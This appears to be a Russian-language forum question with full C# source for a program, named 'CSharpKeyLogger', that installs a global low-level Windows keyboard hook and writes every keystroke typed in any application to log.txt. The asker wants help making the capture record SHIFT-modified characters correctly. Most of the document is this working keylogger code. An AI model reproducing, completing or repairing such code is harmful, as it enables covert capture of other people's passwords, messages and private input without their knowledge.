Я написал следующую программу на C # для захвата нажатий клавиш пользователем.
Он работает отлично, за исключением того, что все ключи записываются в нижнем регистре без учета клавиши SHIFT (см. Ниже).
Я прочитал всю документацию по Win32 API. Я все еще что-то упускаю.
Как я могу исправить эту программу, чтобы правильно регистрировать нажатия клавиш?
Если я введу HelloWorld!!!
, в log.txt будут выведены следующие ключи:
h
e
l
l
o
w
o
r
l
d
1
1
1
Т.е., он не учитывает SHIFT, что является целью GetKeyboardState()
?
Программа:
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;
namespace CSharpKeyLogger
{
public static class Program
{
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int MAPVK_VK_TO_VSC = 0;
private const int BUFF_SZ = 4;
private const string logFileName = "log.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main()
{
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}
private static IntPtr SetHook(HookProc hookProc)
{
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
uint vkCode = (uint)Marshal.ReadInt32(lParam);
byte[] kb = new byte[256];
GetKeyboardState(kb);
StringBuilder buf = new StringBuilder(BUFF_SZ + 1);
switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
{
case -1:
break;
case 0:
break;
case 1:
case 2:
case 3:
case 4:
logFile.WriteLine(buf.ToString());
break;
}
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
}
}